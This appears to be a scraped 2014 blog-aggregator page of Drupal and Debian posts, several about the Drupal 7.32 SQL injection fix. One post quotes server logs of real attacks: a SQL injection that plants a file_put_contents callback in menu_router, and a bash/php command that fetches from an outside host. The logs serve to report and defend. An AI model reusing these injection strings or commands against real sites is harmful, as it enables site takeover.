Elsewhere

Lullabot: Drupal.org Initiatives

Planet Drupal - ven, 17/10/2014 - 21:00

In this episode, Joshua Mitchell, CTO at the Drupal Association talks with Amber Matz about the exciting initiatives in the works for drupal.org and associated sites. We also talk about how the community, including the D.A. Board, working groups, and volunteers are utilized to determine priorities and work on infrastructure improvements. There's exciting changes in the works on drupal.org regarding automated testing, git, deployment, the issue queue, localize.drupal.org, and groups.drupal.org.

Catégories: Elsewhere

Blink Reaction: Drupal As A Public Good and Renewing our Commitment

Planet Drupal - ven, 17/10/2014 - 20:54

I was going to write a blog about Drupalcon Amsterdam and our commitment to Drupal and then I realized the best way to say it was to show it.

Thursday, October 16, 2014

Memo to all staff:

I am pleased to announce that starting this quarter Blink will significantly increase our efforts in support of Drupal. 

Catégories: Elsewhere

NEWMEDIA: Drupal SA-CORE-2014-005

Planet Drupal - ven, 17/10/2014 - 19:13
Drupal SA-CORE-2014-005Drupal Security threats and how we respond at NEWMEDIA!

Here at NEWMEDIA! we are constantly learning and improving. Over the course of the past year we have been refining our continuous integration and hosting platforms as they relate to Drupal. A significant threat, and subsequent fix has been identifeid in all versions of Drupal 7 that has literally rocked the. The good news is that your site is already patched if you are hosting a Drupal 7 site with us. The great news is that we have an opportunity to highlight some of the improvements we have made to our hosting offering.

The new system provides a smoother flow between development efforts and your ability to see the changes. When a developer's code is accepted to your project, it is immediately made visible to you in a password protected staging environment. When the change is approved, it can immediately be made available on the production site. Our systems ensure that the servers developed on are identical to the servers in the staging and production environments. This consistency increases the return on your investment by decreasing the amount of time it takes for a developer to perform their tasks. At the same time, it gaurantees a smoother deployment pipeline.

We are systematically moving all of our hosting properties into this new system.

* Your sites will now be hosted in what is known as Amazon's Virtual Private Cloud. This is the next generation of Amazon's cloud offering that provides advanced network control and separation for increased performance and security.

* Your sites will move from a static ip address to utilize state of the art load balancing techniques. The load balancing and proxy layers provide significant protection agains DDoS and other types of attacks that might be utilized against a website.

* Your DNS management will simplify. The same technology we are using at the load balancing layer allows for a more dynamic system. Because we are moving from addressing the machines by numbers to addressing them by name we are allowed additional flexibility. For example, let's say your site is under a higher than average load. We could temporarily add additional webservers that would increase the performance of your site.

* Site performance will improve. You are being moved to a distributed system that is more capable of handling your sites needs.

The goal of this is to increase the quality of our services and offerings while continuing the tradition of giving back. It is unfortunate that a security issue of this magnitude has affected Drupal. It is good to see the community come together to help bring the current set of continuous integration and deployment practices to the next level.  Come find us at the http://2013.badcamp.net/events/drupal-devops-summit to see how we do continuous.

Help us figure out the best way to share!

Catégories: Elsewhere

Martin Pitt: Ramblings from LinuxCon/Plumbers 2014

Planet Debian - ven, 17/10/2014 - 18:54

I’m on my way home from Düsseldorf where I attended the LinuxCon Europe and Linux Plumber conferences. I was quite surprised how huge LinuxCon was, there were about 1.500 people there! Certainly much more than last year in New Orleans.

Containers (in both LXC and docker flavors) are the Big Thing everybody talks about and works with these days; there was hardly a presentation where these weren’t mentioned at all, and (what felt like) half of the presentations were either how to improve these, or how to use these technologies to solve problems. For example, some people/companies really take LXC to the max and try to do everything in them including tasks which in the past you had only considered full VMs for, like untrusted third-party tenants. For example there was an interesting talk how to secure networking for containers, and pretty much everyone uses docker or LXC now to deploy workloads, run CI tests. There are projects like “fleet” which manage systemd jobs across an entire cluster of containers (distributed task scheduler) or like project-builder.org which auto-build packages from each commit of projects.

Another common topic is the trend towards building/shipping complete (r/o) system images, atomic updates and all that goodness. The central thing here was certainly “Stateless systems, factory reset, and golden images” which analyzed the common requirements and proposed how to implement this with various package systems and scenarios. In my opinion this is certainly the way to go, as our current solution on Ubuntu Touch (i. e. Ubuntu’s system-image) is far too limited and static yet, it doesn’t extend to desktops/servers/cloud workloads at all. It’s also a lot of work to implement this properly, so it’s certainly understandable that we took that shortcut for prototyping and the relatively limited Touch phone environment.

On Plumbers my main occupations were mostly the highly interesting LXC track to see what’s coming in the container world, and the systemd hackfest. On the latter I was again mostly listening (after all, I’m still learning most of the internals there..) and was able to work on some cleanups and improvements like getting rid of some of Debian’s patches and properly run the test suite. It was also great to sync up again with David Zeuthen about the future of udisks and some particular proposed new features. Looks like I’m the de-facto maintainer now, so I’ll need to spend some time soon to review/include/clean up some much requested little features and some fixes.

All in all a great week to meet some fellows of the FOSS world a gain, getting to know a lot of new interesting people and projects, and re-learning to drink beer in the evening (I hardly drink any at home :-P).

If you are interested you can also see my raw notes, but beware that there are mostly just scribbling.

Now, off to next week’s Canonical meeting in Washington, DC!

Catégories: Elsewhere

ERPAL: IMPORTANT! Safety first - The Drupal 7.32 Update

Planet Drupal - ven, 17/10/2014 - 18:39

Yesterday, when the Drupal 7.31 SQL injection vulnerability came up, I think this was one of the most crititcal updates I ever saw in the Drupal world. First of all - thanks a lot to everybody that helped to find and fix this issue. With the discovering of this security issue and the fix, the Drupal security and the community behind has shown once more how important this combination is. All Drupal sites should and MUST be updated to this version 7.32 to keep their applications secure. An new ERPAL release 2.1 is already available. And it is very important that you use this update for your ERPAL installation.

Why this hurry?

As I already mentioned above, this update is critical to all sites as the vulnerability can be executed by anonymous users. It is possible to get admin access (user 1) with the correct attack sequence. Some of you may ask if Drupal is still secure at all? The answer is still - YES! It is one of the most secure CMF / CMS out there. And with a dedicated security team on Drupal.org many security issues are discovered. Security issues are worst if they are not discovered by the admin / support or security team but only by hackers. And it becomes even worse if people don't update their sites.

So what to do?

Don't panic! You just need to update your site to the latest Drupal 7.32 version. If you are using a distribution, that may have patches included in their installation profile to support all features, check for updates on their project page and get your update there. Easy - Thats it.

How to avoid future problems

Please follow the Drupal security advisories and keep you site's modules up to date. That's one of the most important rules for Drupal users.

While creating business applications with Drupal means for us taking responsibility for all our users to keep their data save and their ERPAL system running. With this blog post I want to ask every Drupal dev, maintainer, client or site builder to update the site immediately.

Catégories: Elsewhere

Amazee Labs: Faster import & display with Data, Feeds, Views & Panels

Planet Drupal - ven, 17/10/2014 - 18:25
Faster import & display with Data, Feeds, Views & Panels

Handling loads of data with nodes and fields in Drupal can be a painful experience: every field is put into a separate table which makes inserts and queries slow. In case you just want to import & display unstructured data without the flexibility and sugar of fields, this walkthrough is for you! 

On a recent customer project, we were tasked with importing prices and other information related to products. While we are fine with handling 10k+ products in the database, we didn't want to create field tables for the price information to be attached to products. For every product, we have 10 maybe even more prices which would result in 100k+ prices at least.

The prices shouldn't be involved in anything related to the product search, they should just appear as part of the product view itself. Also there is no commerce system involved at the current state of the project.

Putting the prices into a separate field on the product node may sound like a good idea in the first place. Remember, when loading a list of of those products, all the prices will have to get loaded as well. We wanted those prices to be decoupled from the products, be stored in a lightweight way and only be loaded when necessary - on the single product view.

1) Light-weight data structures in Drupal using the data module

First, I thought implementing a custom entity or just data table would be the way to go. But then we considered giving the data module a try. The data module allows site builders to work on a much lower level than with Drupal fields: you can create database tables, specify their columns and define relationships. What it really makes appealing is that you can access the structured data using views, expose the custom data tables as custom entity types and use the Feeds module for importing that data, without any coding required.

After installing the data module, you can manage your data tables under Structure > Data tables

We create a data table for the product prices and specify the schema with all the columns that should be included. Just like fields but without any fancy formatters on top of it:

This will create the desired database table for you.

Having defined the data, we can use the Entity data module that comes with Data to expose the data table as a custom entity type. By doing so, you will get integrations like for example with Search API for free.

 

2) Import using Feeds and the generic entity processor

Luckily, the [Meta] Generic entity processor issue for the Feeds module has been committed after 3 years of work. As there hasn't been a release since the time of committing the patch (January 2014), this is only available from later dev versions of the Feeds module.

But it's worth the hassle! We can now select from a multitude of different feeds processors based on all the different entity types in the system. After clearing caches, the data tables that we have previously exposed as entity types, do now show up:

The feeds configuration is performed as usual. In the following, we map all the fields from the clients CSV file to the previously defined columns of the data table:

We are now able to import large junks of data without pushing them through the powerful but slow Field API. A test import of ~30k items was performed within seconds. A nodes & Fields based import usually creates 200 items per minute.

3) Data is good, display is better

In the next step, we create a View based on the custom data table to display prices for products. We specify a number of contextual filters so that users will see prices a) the current product and restricted to b) the user's price source and c) currency.

Notice, that the Views display is a (Ctools / Views) Content pane, which has some advanced pane settings in the mid section of the views configuration.

Most importantly, we want to specify the argument input: Usually we would use Context to map the views contextual filters to Ctools contexts that we provide through Panels.

Somehow, in this case, a specific field didn't work with the context system which automatically checks if all necessary context's are available and only allows you to use the Views pane under such circumstances. As you can see in the screenshot above, i have set all arguments to "Input on pane config" as a work around.

Exactly these pane config inputs show up when we configure the Views pane in Panels. In this case, we have added the Product prices view as a pane on the panelized full node display of the Product node type (Drupal jargons ftw!).

Each pane config is populated with the appropriate keyword substitutions based on available contexts node and user of the panelized node.

4) The end result

Finally this is the site builded result of a product node including a prices table:

 

This concludes my how-to on the Data, Feeds, Views and Panels modules to attach a large data sets to nodes without putting them into fields. Once you know how the pieces fit together, it will take you less time than me writing this blog post to import and display large amounts of data in a less flexible, but more performant way! 

Catégories: Elsewhere

Gunnar Wolf: #Drupal7 sites under attack — Don't panic!

Planet Debian - ven, 17/10/2014 - 18:24

Two days ago, Drupal announced version 7.32 was available. This version fixes a particularly nasty bug, allowing a SQL injection at any stage of interaction (that means, previous to the authentication taking place).

As soon as I could, I prepared and uploaded Debian packages for this — So if you run a Debian-provided Drupal installation, update now. The updated versions are:

sid / jessie (unstable / testing)
7.32-1
wheezy (stable)
7.14-2+deb7u7
wheezy-backports
7.32-1~bpo70+1
squeeze-backports (oldstable)
7.14-2+deb7u7~bpo60+1

And, as expected, I'm already getting several attacks on my sites. Good thing that will help you anyway: Even though it won't prevent the attack from happening, if you use suhosin, several of the attacks will be prevented. Yes, sadly suhosin has not been in a stable Debian release since Wheezy, but still... :-|

Partial logs. This looks like a shellcode being injected as a file created via the menu_router mechanism (shellcode snipped):

  1. Oct 16 15:22:21 lafa suhosin[3723]: ALERT - configured request variable
  2. total name length limit exceeded - dropped variable 'name[0; INSERT INTO
  3. `menu_router` (`path`, `load_functions`, `to_arg_functions`, `description`,
  4. `access_callback`, `access_arguments`) VALUES ('deheky', '', '', 'deheky',
  5. 'file_put_contents',
  6. +0x613a323a7b693a303b733a32323a226d6f64756c65732f64626c6f672f746e777(...)
  7. );;# ]' (attacker '62.76.191.119', file '/usr/share/drupal7/index.php')

While the previous one is clearly targetting this particular bug, I'm not sure about this next one: It is just checking for some injection viability before telling me its real intentions:

  1. Oct 17 10:26:04 lafa suhosin[3644]: ALERT - configured request variable
  2. name length limit exceeded - dropped variable
  3. '/bin/bash_-c_"php_-r_\"file_get_contents(
  4. 'http://hello_hacked_jp/hello/?l'
  5. (attacker '77.79.40.195', file '/usr/share/drupal7/index.php')

So... looking at my logs from the last two days, Suhosin has not let any such attack reach Drupal (or I have been h4x0red and the logs have all been cleaned — Cannot dismiss that possibility :-) )

Anyway... We shall see many such attempts in the next weeks :-|

Catégories: Elsewhere

Gábor Hojtsy: On authority in Drupal and/or Open Source in general

Planet Drupal - ven, 17/10/2014 - 18:22

I just had the time to watch Larry Garfield's DrupalCon Amsterdam core conversation on managing complexity today. I did not have the chance to attend his session live due to other obligations, but it is nonetheless a topic I am very interested in.

Catégories: Elsewhere

Erich Schubert: Google Earth on Linux

Planet Debian - ven, 17/10/2014 - 16:59
Google Earth for Linux appears to be largely abandoned by Google, unfortunately. The packages available for download cannot be installed on a modern amd64 Debian or Ubuntu system due to dependency issues. In fact, the adm64 version is a 32 bit build, too. The packages are really low quality, the dependencies are outdated, locales support is busted etc. So here are hacky instructions how to install nevertheless. But beware, these instructions are a really bad hack.
  1. These instructions are appropriate for version 7.1.2.2041-r0. Do not use them for any other version. Things will have changed.
  2. Make sure your system has i386 architecture enabled. Follow the instructions in section "Configuring architectures" on the Debian MultiArch Wiki page to do so
  3. Install lsb-core, and try to install the i386 versions of these packages, too!
  4. Download the i386 version of the Google Earth package
  5. Install the package by forcing dependencies, via sudo dpkg --force-depends -i google-earth-stable_current_i386.deb
  6. As of now, your package manager will complain, and suggest to remove the package again. To make it happy, we have to hack the installed packages list. This is ugly, and you should make a backup. You can totally bust your system this way... Fortunately, the change we're doing is rather simple. As admin, edit the file /var/lib/dpkg/status. Locate the section Package: google-earth-stable. In this section, delete the line starting with Depends:. Don't add in extra newlines or change anything else!
  7. Now the package manager should believe the dependencies of Google Earth are fulfilled, and no longer suggest removal. But essentially this means you have to take care of them yourself!
Some notes on using Google Earth:
  • Locales are busted. Use LC_NUMERIC=en_US.UTF-8 google-earth to start it. Otherwise, it will fail parsing coordinates, if you are in a locale that uses a different number format.
  • You may need to install the i386 versions of some libraries, in particular of your OpenGL drivers! I cannot provide you with a complete list.
  • Search doesn't work sometimes for me.
  • Occassionally, it reports "unknown" network errors.
  • If you upgrade Nvidia graphics drivers, you will usually have to reboot, or you will see graphics errors.
  • Some people have removed/replaced the bundled libQt* and libfreeimage* libraries, but that did not work for me.
Catégories: Elsewhere

Tanguy Ortolo: Trying systemd [ OK ] Switching back to SysV [ OK ]

Planet Debian - ven, 17/10/2014 - 16:12

Since systemd is now the default init system under Debian Jessie, it got installed to my system and I had a chance to test it. The result is disappointing: it does not work well with cryptsetup, so I am switching back to SysV init and RC.

The problem comes from the fact that I am using encrypted drives with cryptsetup, and while this is correctly integrated with SysV, it just sucks with systemd, where the passphrase prompt is mixed up with service start messages, a bit like that (from memory, since I did not take a picture of my system booting):

Enter passphrase for volume foobar-crypt: [ OK ] Sta*rting serv*ice foo** [ OK ] ***Starting service bar** [ OK ] Starting service baz****

The stars correspond to the letters I type, and as you can see, as the passphrase prompt does not wait for my input, they get everywhere in the boot messages, and there is no clear indication that the passphrase was accepted. This looks like some pathological optimization for boot speed, where even interactive steps are run in parallel with services startup: sorry, but this is just insane.

There may exist ways to work around this issue, but I do not care: SysV init works just fine with no setup at all, and I since have no real need for another init system, systemd as a replacement is only acceptable if it works at least as fine for my setup, which is not the case. Goodbye systemd, come back when you are ready.

Catégories: Elsewhere

Lucas Nussbaum: Debian Package of the Day revival (quite)

Planet Debian - ven, 17/10/2014 - 15:05

TL;DR: static version of http://debaday.debian.net/, as it was when it was shut down in 2009, available!

A long time ago, between 2006 and 2009, there was a blog called Debian Package of the Day. About once per week, it featured an article about one of the gems available in the Debian archive: one of those many great packages that you had never heard about.

At some point in November 2009, after 181 articles, the blog was hacked and never brought up again. Last week I retrieved the old database, generated a static version, and put it online with the help of DSA. It is now available again at http://debaday.debian.net/. Some of the articles are clearly outdated, but many of them are about packages that are still available in Debian, and still very relevant today.

Catégories: Elsewhere

Code Karate: Drupal 7 Absolute Messages

Planet Drupal - ven, 17/10/2014 - 14:40
Episode Number: 174

In episode 174, we look at a new way to display administrative messages. In other words, absolute messages is a module that changes how status, error and warning messages are displayed. For the most part, this is a nominal improvement, but does allow for hiding and showing of messages.

Tags: DrupalMessagingDrupal 7Drupal PlanetSite AdministrationUI/Design
Catégories: Elsewhere

Rhonda D'Vine: New Irssi

Planet Debian - ven, 17/10/2014 - 14:39

After a long time a new irssi upstream release hit the archive. While the most notable change in 0.8.16 was DNSSEC DANE support which is enabled (for linux, src:dnsval has issues to get compiled on kFreeBSD), the most visible change in 0.8.17 was addition of support for both 256 colors and truecolor. While the former can be used directly, for the later you have to explicitly switch the setting colors_ansi_24bit to on. A terminal support it is needed for that though. To test the 256 color support, your terminal has to support it, your TERM environment variable has to be properly set, and you can test it with the newly added /cubes alias. If you have an existing configuration, look at the Testing new Irssi wiki page which helps you get that alias amongst giving other useful tipps, too.

The package currently only lives in unstable, but once it did flow over to testing I will update it in wheezy-backports, too.

Enjoy!

/debian | permanent link | Comments: 0 | Flattr this

Catégories: Elsewhere

Petter Reinholdtsen: Debian Jessie, PXE and automatic firmware installation

Planet Debian - ven, 17/10/2014 - 14:10

When PXE installing laptops with Debian, I often run into the problem that the WiFi card require some firmware to work properly. And it has been a pain to fix this using preseeding in Debian. Normally something more is needed. But thanks to my isenkram package and its recent tasksel extension, it has now become easy to do this using simple preseeding.

The isenkram-cli package provide tasksel tasks which will install firmware for the hardware found in the machine (actually, requested by the kernel modules for the hardware). (It can also install user space programs supporting the hardware detected, but that is not the focus of this story.)

To get this working in the default installation, two preeseding values are needed. First, the isenkram-cli package must be installed into the target chroot (aka the hard drive) before tasksel is executed in the pkgsel step of the debian-installer system. This is done by preseeding the base-installer/includes debconf value to include the isenkram-cli package. The package name is next passed to debootstrap for installation. With the isenkram-cli package in place, tasksel will automatically use the isenkram tasks to detect hardware specific packages for the machine being installed and install them, because isenkram-cli contain tasksel tasks.

Second, one need to enable the non-free APT repository, because most firmware unfortunately is non-free. This is done by preseeding the apt-mirror-setup step. This is unfortunate, but for a lot of hardware it is the only option in Debian.

The end result is two lines needed in your preseeding file to get firmware installed automatically by the installer:

base-installer base-installer/includes string isenkram-cli apt-mirror-setup apt-setup/non-free boolean true

The current version of isenkram-cli in testing/jessie will install both firmware and user space packages when using this method. It also do not work well, so use version 0.15 or later. Installing both firmware and user space packages might give you a bit more than you want, so I decided to split the tasksel task in two, one for firmware and one for user space programs. The firmware task is enabled by default, while the one for user space programs is not. This split is implemented in the package currently in unstable.

If you decide to give this a go, please let me know (via email) how this recipe work for you if you decide to give it a go. :)

So, I bet you are wondering, how can this work. First and foremost, it work because tasksel is modular, and driven by whatever files it find in /usr/lib/tasksel/ and /usr/share/tasksel/. So the isenkram-cli package place two files for tasksel to find. First there is the task description file (/usr/share/tasksel/descs/isenkram.desc):

Task: isenkram-packages Section: hardware Description: Hardware specific packages (autodetected by isenkram) Based on the detected hardware various hardware specific packages are proposed. Test-new-install: show show Relevance: 8 Packages: for-current-hardware Task: isenkram-firmware Section: hardware Description: Hardware specific firmware packages (autodetected by isenkram) Based on the detected hardware various hardware specific firmware packages are proposed. Test-new-install: mark show Relevance: 8 Packages: for-current-hardware-firmware

The key parts are Test-new-install which indicate how the task should be handled and the Packages line referencing to a script in /usr/lib/tasksel/packages/. The scripts use other scripts to get a list of packages to install. The for-current-hardware-firmware script look like this to list relevant firmware for the machine:

#!/bin/sh # PATH=/usr/sbin:$PATH export PATH isenkram-autoinstall-firmware -l

With those two pieces in place, the firmware is installed by tasksel during the normal d-i run. :)

If you want to test what tasksel will install when isenkram-cli is installed, run DEBIAN_PRIORITY=critical tasksel --test --new-install to get the list of packages that tasksel would install.

Debian Edu will be pilots in testing this feature, as isenkram is used there now to install firmware, replacing the earlier scripts.

Catégories: Elsewhere

Triquanta Web Solutions: Automatically switch Drush versions per project

Planet Drupal - ven, 17/10/2014 - 12:38

Now that Drush has become standard equipment in every developer's toolbox, and Drupal 8 is around the corner, you may find yourself asking "Which Drush version should I use?" While Drush 6 has a stable release, only Drush 7 can be used with Drupal 8. Usually, I use Drush 7. It works well with both Drupal 7 and Drupal 8, and even though is doesn't have a stable release yet, it feels pretty stable to me.

Combining Drush versions: the trouble begins

Unfortunately, when you use Drush 7 to run commands on a remote server which runs Drush 6, you will run into errors. For instance when doing a sql-sync:

$ drush sql-sync @mysite-prod @self You will destroy data in mysite and replace with data from example.com/mysite. Do you really want to continue? (y/n): y Starting to dump database on Source. [ok] Database dump saved to [success] /home/www-data/drush-backups/mysite/20141016113131/mysite_20141016_113132.sql.gz The Drush sql-dump command did not report the path to the dump file produced. Try upgrading the version of Drush you[error] are using on the source machine.

Obviously Drush 7 doesn't like to talk to Drush 6. So how do we solve that?

Installing multiple Drush versions side-by-side

It's not too hard to install two Drush versions side-by-side, and use aliases or symlinks to choose a version. On my system I installed Drush 7 using composer and I installed Drush 6 using the manual method.

Next I created two symlinks called "drush6" and "drush7" in a directory in your $PATH variable. I use ~/bin, but it depends on your OS and configuration.

$ cd ~/bin $ ln -s ~/drush-6.4.0/drush drush6 $ ln -s ~/.composer/vendor/drush/drush/drush drush7

Using those symlinks, I can use both versions anywhere on my system:

$ drush6 --version Drush Version : 6.4.0 $ drush7 --version Drush Version : 7.0-dev

Now I can run drush6 sql-sync @mysite-prod @selfto choose Drush 6 and avoid problems syncing with a remote server.

Automating which version to use

It's nice to be able to choose, but wouldn't it be awesome if you can just run drush ...without having to think which version you need? If you're managing multiple sites on different servers, you don't want to spend your energy remembering which project requires which Drush version.

At Triquanta we use git repositories, one for each project. I want to be able to specify the default Drush version per project, so I will never run the wrong Drush version by mistake. That's where this really simple bash script comes in:

#!/bin/bash version=$(git config --get drush.version) if [ "$version" = '6' ]; then drush6 "$@" else drush7 "$@" fi

Save it as "drush" in a directory in your $PATH variable, and make it executable. Now when you execute drush, it will call this script, which by default runs Drush 7.

$ drush --version Drush Version : 7.0-dev

When a project requires Drush 6 instead, I set a variable "drush.version" in the git working copy:

$ git config drush.version 6 $ drush --version Drush Version : 6.4.0

That's all there is to it. Regardless where you are within your git-managed directory structure (the site root, /sites/default/files/, etc.) the script will always know which drush version to use.

Catégories: Elsewhere

Modules Unraveled: 122 The Drupal Security Team With Greg Knaddison and Michael Hess - Modules Unraveled Podcast

Planet Drupal - ven, 17/10/2014 - 12:04
Published: Fri, 10/17/14Download this episodeThe Drupal Security Team
  • What type of people are on the Drupal Security Team?
    • https://security.drupal.org/team-members
    • Mostly coders, some project managers, core maintainers
  • What does the security team do?
    • We fix issues in drupal
    • Resolve reported security issues in a Security Advisory
    • Provide assistance for contributed module maintainers in resolving security issues
    • Provide documentation on how to write secure code
    • Provide documentation on securing your site
    • Help the infrastructure team to keep the drupal.org infrastructure secure
  • What doesn’t the security team do
    • projects without stable releases
    • Site support
    • Set policy around security with the security working group.
  • Is there a D7 security team and a D8 security team with different people? (What about Drupal 6)
  • How can others get involved?
  • What was the recent bug that was fixed
Questions from Twitter
  • Paulius Pazdrazdys
    How this latest security release is different from others? Do you have any information if this bug done any harm before release?
  • aboros
    The recent bug was über critical, still only 20/25. What would be a 25/25 bug?
  • aboros
    Do you notify any high value targets before SA is sent out? Is the list of those public? Can one be part of this privileged group?
  • Carie Fisher
    When the latest bug was found? is there a private drupal security group where this was discussed? could we have found out sooner?
  • David Hernandez
    What is the average time from discovery to announcement?
  • Damien McKenna
    @ModsUnraveled Are there existing stats on how long it takes from initial reporting, to maintainer response, to first patch & fix?
  • Heine Deelstra
    How was SA-CORE-005 (in hindsight) able to be public for so long in the public queue?
  • Mark Conroy
    I think the #drupal security team are great. Working extremely hard. (I know, that wasn't a question)
  • aboros
    Are there plans for some sort of bounty program run by DA maybe?
  • David Hernandez
    What kind of work does the security team do besides review code? What is the administrative overhead?
Episode Links: Greg on drupal.orgGreg on TwitterMichael on drupal.orgMichael on TwitterList of permissions that aren’t includedDrupal Security ReportTwo factor auth moduleParanoia module to prevent php executionSecurity group on g.d.oTags: SecurityDrupal Coreplanet-drupal
Catégories: Elsewhere

Junichi Uekawa: test.

Planet Debian - ven, 17/10/2014 - 00:20
test.

Catégories: Elsewhere

Get Pantheon Blog: What We Are Seeing With Drupal SA 2014-005

Planet Drupal - jeu, 16/10/2014 - 23:41

It's been 24 hours since Drupal SA-CORE-2014-005 was announced, and we are already beginning to see attacks in the wild. As a platform with 10s of 1000s of Drupal sites, we have a unique perspective on the problem.

This is not a drill: black-hat scripters from sketchy domains are working through lists of known Drupal websites probing for exploits. If you have not patched all your sites, stop reading and do it right now.

...

Ok, now that your websites are safe, here's what we're seeing.

Profiling and Logging Suspected Exploits

We learned of the vulnerability through our participation with the Drupal Security team, so we had a few days to prepare prior to the announcement. At that point, we were under obligation not to share details as part of responsible disclosure, but we did tweet and email customers to "be ready" for the update on Wednesday.

Beyond that, the first step was fashioning our own exploit to have something to build a defense against. I "owned" my personal blog several times getting this right.

With a sense of a potential attack signature, we developed platform-wide request filtering, WAF style. At our scale, we couldn't try to tweak every individual site: a platform solution was the only answer.

We got that deployed on Monday, giving us two days to see the results of real production traffic. We were able to eliminate false-positives while still detecting our PoC attacks, which gave us confidence that our filter would not impact legitimate traffic. That was an important moment, because it meant we could start locking things down.

Log and Block

With the SA announcement on Wednesday we switched the filter from "log" to "log and block". The first detected (and blocked) attack came in at 22:42 UTC (3:42 PM PT), about seven hours after the security announcement. It attempted to set up a fake user with id 9999 and a suspicious temp email address from trbvm.com.

Over the rest of the day we saw a handfull (20-ish) more attacks that looked like proof of concepts or penetration tests. We saw attempts to re-use a proof of concept posted in a Reddit thread, an attempt to create a user named "morpheus" with a pre-set password, and a few attempts to make accounts with the email address test@test.com and then elevate them to an admin role.

It Gets Real

Early this morning at 08:23 UTC (1:23 AM PT) we started seeing an attack that attempts to insert a new item into the menu_router table. This attack is originating from IPs from a VPS provider in the .ru domain space, and it appears to be working through a list of domain names alphabetically.

The attack seems to be the initial part of a multi-step process. The menu_callback it is attempting to create will try to use file_put_contents() to drop a file somewhere in the codebase. That file will pick up a subsequent http request with more of an attack payload in the $_COOKIE superglobal. This sophistication plus the alphabetical attack sequence suggests a professional exploit.

Note that this attack has a 0% chance of success on Pantheon. We block it, but even if we didn't live sites can't write files into the codebase, and a sophisticated $_COOKIE attack would also be stripped. Still, it's concerning.

This Is Not A Drill

It's barely 24 hours after the SA, and we have logged and blocked over 500 attempted attacks on sites on the Pantheon platform. We expect this rate to increase as exploit code is more widely shared and attacks become more automated.

The fact that we are blocking suspect traffic does not mean you delay updating. We're happy to be defending sites on our Platform, but the filter, like CloudFlare's WAF firewall rule is not a guarantee to secure your site. You need to get the update deployed and patch the vulnerability at the source.

If you need help, let us know. If you have friends who need help, lend a hand.

Credits

Credit to the Drupal Security team for organizing a responsible and orderly release. There was likely temptation to rush something out once the severity was realized, but they showed great professionalism by taking a more deliberate route. As soon as the fix was disclosed, black-hats would start working to weaponize the exploit, which we are already seeing.

I'd also like to thank Leonardo Finetti for chiming in based on some tweets with additional information about the menu_router attack. He has his own post up (in Italian) here.

Finally, I'd like to give credit to Greg "greggles" Knaddison for planting the idea in my head of using the reach of our platform as a way to monitor exploit attempts against sites running on Pantheon. Hopefully the data we're able to gather will help everyone defend better and build more secure software and platforms.

Blog Categories: Engineering
Catégories: Elsewhere

Acquia: Shields Up!

Planet Drupal - jeu, 16/10/2014 - 23:32

Yesterday, the Drupal Security team announced that all Drupal 7 sites are highly vulnerable to attack. Acquia deployed a platform-wide "shield" which protects all our customer sites, while still keeping them 100% functional for visitors and content editors. These sites can now upgrade to 7.32 in a more calm, controlled timeline.

Catégories: Elsewhere

Acquia: 30 Awesome Drupal 8 API Functions you Should Already Know - Fredric Mitchell

Planet Drupal - jeu, 16/10/2014 - 20:49

Apart from presenting a terrific session that will help you wrap your head around developing for Drupal 8, Fredric and I had a great conversation that covered the use of Drupal and open source in government, government decision-making versus corporate decision-making, designing Drupal 7 sites with Drupal 8 in mind, designing sites for the end users and where the maximum business value comes from in your organization, and more!

Catégories: Elsewhere

Pages

Subscribe to jfhovinne agrégateur - Elsewhere